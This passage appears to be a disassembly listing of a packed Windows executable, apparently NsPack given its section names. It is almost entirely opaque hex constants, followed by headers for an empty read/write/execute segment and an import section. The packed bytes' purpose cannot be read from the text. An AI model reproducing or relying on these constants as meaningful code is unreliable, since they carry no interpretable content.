dd 0E429F7F9h, 0ECFC06ABh, 585F31CAh, 10E0B69Fh, 7A1EC2B7h
dd 41CE6995h, 4525A387h, 0F9EF319Bh, 99D12587h, 0EC0478AAh
dd 6580DD5Bh, 6E65909h, 7BCE01EFh, 0B3DCF392h, 0EAFCF2B5h
dd 0F8B69D4h, 550D3935h, 570B4A03h, 0E6D0BAC8h, 0F809DC5Dh
dd 14249C40h, 0D333196h, 0B7683DE0h, 9C8E96A0h, 0D3E70315h
dd 98C6131Dh, 5AE59517h, 0A9C84815h, 0A9D11947h, 0DAE35DE0h
dd 0A7F6F973h, 333B7C79h, 9BBD9350h, 8BC89856h, 0FC664DCEh
dd 89C6AAD3h, 0BFE11FF0h, 1C7E72F5h, 20266E6Ch, 3052FE8Ch
dd 9E84FFAAh, 949AB3A1h, 0E7F6EFC8h, 74558C79h, 0C7AC30BFh
dd 0D8E4EDB7h, 8A5FB8C8h, 7CF05052h, 666411CBh, 3622EA24h
dd 0BE5E65ADh, 1044D978h, 0A4A951EDh, 28B81BC6h, 72D773B6h
dd 0F0D0F116h, 4BEB4112h, 9F9F1DA6h, 0FD02AB22h, 96DA22F0h
dd 0DCB9B8BBh, 642FB6E6h, 0FAFC78Ah, 9571BC27h, 5B8A5622h
dd 0DCB8A8AFh, 0B3EA1743h, 0DCF0084Fh, 5A0744D5h, 1D69E266h
dd 0A50AB81Ah, 8B092038h, 79AB4974h, 0B03F645Eh, 0F0525E05h
dd 0CB85519Bh, 0E6AA3105h, 0FB8955A0h, 0ED9730EEh, 0EC70BB21h
dd 0A9F8190Eh, 0BAF49C76h, 8287EC4Eh, 11941CA3h, 7EC9B4DAh
dd 76046CFCh, 2DDCBBF1h, 8645F85Ah, 36AD68D1h, 0F918B042h
dd 0BE0EA889h, 3663BA24h, 42566C36h, 4AAE60C9h, 0A0CBC4D8h
dd 0F52B0C4Dh, 165DD254h, 0B5DBAF95h, 13BCE703h, 0CAC99427h
dd 0E94AA5E2h, 99101A0h, 3098DCC8h, 0C7C8961h, 7995C905h
dd 66204466h, 82B8A04Dh, 41514AF5h, 0ACC2D65Ah, 0EA50F0Fh
dd 7C589CC0h, 7BE351CAh, 0AAAB9C19h, 0F4B42B02h, 1BE33156h
dd 1BC9CE75h, 294955AEh, 0CD7F3DBh, 58150886h, 0F48B48CBh
dd 433713D3h, 0AB15FCFFh, 0AD773E91h, 537DC568h, 3C35424Bh
dd 44DFD27Dh, 601D4B4Fh, 0E0EA053Eh, 0EF0D6B4Dh, 10624AF2h
dd 0E133F60Eh, 9B8A4356h, 70CA1AACh, 0E3C80189h, 7103A744h
dd 0E9D3F4C9h, 6A4F3C56h, 0AB350915h, 0BE747953h, 58295D3Fh
dd 38F61517h, 5247B533h, 0D8B33C68h, 10C7B438h, 0F25B01h
dd 87610E84h, 2857A459h, 0B9739C9Fh, 0E75D550Eh, 282E129h
dd 0DF35E51Ah, 9CB07E15h, 0EB85A0F3h, 1E8D8AD0h, 0BF7FA426h
dd 39BA9718h, 0D5B61AB2h, 1FB592A4h, 49B58164h, 4F85610Ah
dd 0C7C6EC6Ch, 81CBE424h, 84856842h, 0CA559755h, 83254C63h
dd 0D8B70C2Dh, 70766081h, 0BF8CB008h, 559CF59Dh, 8009B345h
dd 9666DB92h, 0F3ED4A7Ch, 558F3F49h, 62A4ED99h, 82584C29h
dd 73D25272h, 0C4D385E4h, 0D93F7918h, 444F5390h, 0E2B3E2ABh
dd 7E79108h, 0BBBFFDEh, 0A353FBE6h, 0CEE80461h, 0BCEA9AC6h
dd 0B3C55626h, 0C31B88E4h, 58546394h, 0C45BC8A8h, 0F9EE7AB9h
dd 8CDCC27Bh, 0CC899F1Fh, 20BDB710h, 69390915h, 0D805C54Dh
dd 0B752766Bh, 0A3B1A3B8h, 69C37682h, 0A14F6EE2h, 0B06BE0Dh
dd 0E4C0397Dh, 4F57643Dh, 5129BD78h, 0E088CBD0h, 97D6FC99h
dd 7A22FA42h, 0A451FED2h, 0C29704E2h, 0BCC90328h, 0CD8112A7h
dd 0D7D70753h, 0B6DD17Bh, 13DAB22Ah, 0BC3C74F9h, 0C4AE661Fh
dd 0FB6E23F0h, 0A7448BDAh, 27BAA6A6h, 2BFBE1C3h, 74CD0196h
dd 898A66Fh, 0CD72BC4Ah, 0AEBB735Eh, 0E5D9308Fh, 933B312h
dd 0FED50440h, 0F4543F60h, 46CD697Fh, 0A07F6CE4h, 0D2134222h
dd 0F772320Bh, 995C5B72h, 62D670BBh, 64D789B9h, 11698D1Fh
dd 0B216752Ah, 879C26CFh, 8FD9A8ACh, 0C61F8182h, 121CB4C3h
dd 1BD9DABDh, 2651E180h, 0D827EC6Eh, 671DB68Ah, 53F69719h
dd 50287228h, 5C4AD634h, 384FA74Eh, 1282B2CFh, 0BD30E8BDh
dd 807AEB30h, 1F9527CDh, 5958305Dh, 4CF04D82h, 0CB1C0B3Eh
dd 37D8AA9h, 0C84B2E25h, 4FBED427h, 5194CB35h, 0B07BA3F1h
dd 5631513h, 0FC1BE424h, 23E7583Fh, 0CFA089CEh, 0BD9ED06h
dd 1EBEA409h, 9C97C6EFh, 93635D33h, 591F7E30h, 0E3F49096h
dd 0C037E7Bh, 0F4266478h, 19E8167Fh, 0D4C154DFh, 79DBDAC7h
dd 9E5054E0h, 34E19A46h, 65BA66CEh, 2F5DADBAh, 54222247h
dd 651D510Fh, 7F8D6526h, 0C2D24842h, 55EDEC8Fh, 0D9831A89h
dd 0C042981Ah, 95AB402Ch, 0E168F591h, 0F492E116h, 70A0DCEDh
dd 4ACAC625h, 0DAD297B0h, 0BEC6B45Ch, 7AC28B59h, 774610C1h
dd 9308161h, 0B73E6A09h, 916557BBh, 0AEA35F9Eh, 2825F501h
dd 0D39201BAh, 0C3F7FFF6h, 2F401B81h, 0BF2CA908h, 7783796Fh
dd 0FE242338h, 0EBD91A69h, 0DB0E762Fh, 0DD8AC4FFh, 6DF682E7h
dd 32B656C4h, 75BB82DEh, 729F3B2Ah, 7C8C2F20h, 97E80BC7h
dd 8CC96D1Eh, 0E736C023h, 27D41E8Bh, 2467F978h, 632F5548h
dd 0A20FC6E9h, 17201254h, 0CBF39061h, 0BBFE8019h, 0C23DA87h
dd 55754107h, 0B6A9D45Ch, 7AD04417h, 96FDE063h, 5156D64Ch
dd 99ABF2DEh, 0A4045ECBh, 38C22876h, 3014097Ah, 0E51DCB49h
dd 0A628A4ADh, 0C9851B23h, 8947463h, 4A9F0B53h, 0EEA2BF0Ah
dd 34E03C5Bh, 0B814D9A9h, 9971B5ACh, 2F1B1016h, 71B01E76h
dd 0DA0039EDh, 0D663E7F5h, 0A0E0B2B5h, 0FE6E347h, 62D9D236h
dd 45361B8Dh, 879F76E4h, 0DBFC2D11h, 87BBEF2Ch, 5B9552D2h
dd 4DA962F7h, 67058BADh, 0CF8B4B33h, 0A953244Ah, 0C73202F1h
dd 8C44752Fh, 987239Ah, 7CEC57Bh, 0E735F991h, 0DEAE58A2h
dd 7858FA21h, 96C05CB5h, 0DE679CDFh, 0F4A0975Ch, 0AD68FCB2h
dd 0DDD6C333h, 0FE9B853h, 10F4AEDEh, 27D919ACh, 6C2B1634h
dd 0C190D04h, 0AB69F1Fh, 2EF35B42h, 9AF342Dh, 9EF2AF19h
dd 0C64EE1D9h, 23A9A416h, 28DBD95Ch, 0E5F82007h, 5AB6B8E2h
dd 22AFD398h, 0E12E270Fh, 0AC3E8438h, 150AD5A3h, 8586BF66h
dd 519EBDE8h, 192D7D61h, 4E19A5Fh, 0D236CA08h, 0EEEE33D0h
dd 83840EF1h, 73B2936Bh, 43A0FB79h, 2C807B3h, 11E696D3h
dd 0DB25EA04h, 412A41E9h, 46557641h, 20653186h, 0A15DEAA3h
dd 0BBDF2DB0h, 0F0DCB3CEh, 6C652FA7h, 7B76111Ah, 0CF45EF6h
dd 5764EB53h, 82735E09h, 24D065EEh, 2E512309h, 0C716F1ECh
dd 32D63271h, 0C3E09DB1h, 52411447h, 1B5D6FD4h, 67262367h
dd 12E114BAh, 0EA5A7437h, 15B37416h, 8CBA13E9h, 4780EE75h
dd 1D26A062h, 44B523A6h, 3AAECDC8h, 0C2A7A8B5h, 0F0D9B01Fh
dd 0D7D5ABAAh, 0D42B8E98h, 4AF3DA61h, 0EBA184D3h, 8F629897h
dd 0A42A38C1h, 0E5E3184Eh, 36FB5060h, 36365943h, 0BABD05B6h
dd 0EF3323CCh, 0E207773Eh
dd 0E888F8D4h, 25BBF2BAh, 62EA1B0Bh, 61092EB8h, 7D5A302Bh
dd 2585A4D3h, 5DE80605h, 2FD38BAAh, 405FD560h, 425C339Bh
dd 173AEC84h, 0A4FD56Fh, 21953D9h, 0B7E67976h, 0C62EBB2h
dd 0A259A76Ah, 50B12F75h, 9CBE15C8h, 0EC9284D0h, 3B4C10BCh
dd 57F80469h, 9C621DA6h, 6F1A2BAh, 402AF62Ch, 0F58691FCh
dd 0E2E5D3F1h, 90D5EF88h, 132CB4C6h, 9FA4BF4Eh, 91574F06h
dd 1D2ED80Fh, 0D2B92428h, 258E3A3Bh, 0D0FCBB21h, 0F8F3B333h
dd 829ED5Bh, 4386B9C6h, 6B8B0C94h, 4927ABD0h, 36883093h
dd 0C4D98A28h, 0D7D93C96h, 0E7BF7AE9h, 2E05DEDDh, 72BC492Fh
dd 926A959Ch, 60CA1A8h, 0CCD04FD7h, 28C7149Bh, 261A1E84h
dd 6233901Eh, 664B06A3h, 23BC6E5Bh, 5EE124FAh, 2DFD8BDAh
dd 8207C929h, 8DA8923Eh, 2B59CD42h, 798C5B4Bh, 0AB32D83Ch
dd 2A31A9FEh, 98002A3Dh, 74B79A4h, 0D052EB47h, 511E460Dh
dd 52B62415h, 869C59Ah, 0A203A909h, 103B1EDAh, 71E78AAEh
dd 0A3366342h, 43D8B709h, 526CA04h, 0AD5C990Eh, 5954CF3Bh
dd 6CF35425h, 0F543091Ah, 68F54BE2h, 4A157A22h, 0E31237BDh
dd 609DDBC4h, 95E4E6FBh, 7E88B388h, 0D330BF79h, 0C7F186AFh
dd 0DCAB1328h, 3CFD3B88h, 52B74DD9h, 0A670C8B1h, 2F26B323h
dd 2D19577Bh, 97A8686Dh, 0BF81E427h, 0BF4AC52Bh, 0C9A703DAh
dd 961C7343h, 0AA586CBEh, 1B668400h, 0ABCB8BB0h, 0BF30CA3Ah
dd 34DB198Bh, 0B02482BEh, 0E6715401h, 0FCE2D362h, 0F8C998E9h
dd 0F98B41E8h, 0A4495A81h, 99CD1FA4h, 85F75DE2h, 0E9B25F8h
dd 0BFDA2547h, 5477614Eh, 99741471h, 6183B1FFh, 0A3096F62h
dd 91E05AE0h, 85D75B58h, 5ADCD28Ch, 0E809E2E6h, 4136ABE0h
dd 5E26A4BBh, 0F50F97BCh, 91CDB8E6h, 0A5338B57h, 0EFA3D9A9h
dd 8A42FDCEh, 3E898A57h, 4C5F0FD9h, 0DA3078A4h, 8A70EF1Eh
dd 3E6A439Ch, 4F82C8B3h, 51BC2A60h, 4E36D252h, 0A400A48Fh
dd 168h dup(0)
_nsp1 ends
; Section 3. (virtual address 000B1000)
; Virtual size : 00000DB8 ( 3512.)
; Section size in file : 00000DB8 ( 3512.)
; Offset to raw data for section: 000B1000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_nsp2 segment para public 'CODE' use32
assume cs:_nsp2
;org 4B1000h
assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing
dd 36Eh dup(0)
dd 12h dup(?)
_nsp2 ends
; Section 4. (virtual address 000B2000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 000B1E00
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 4B2000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start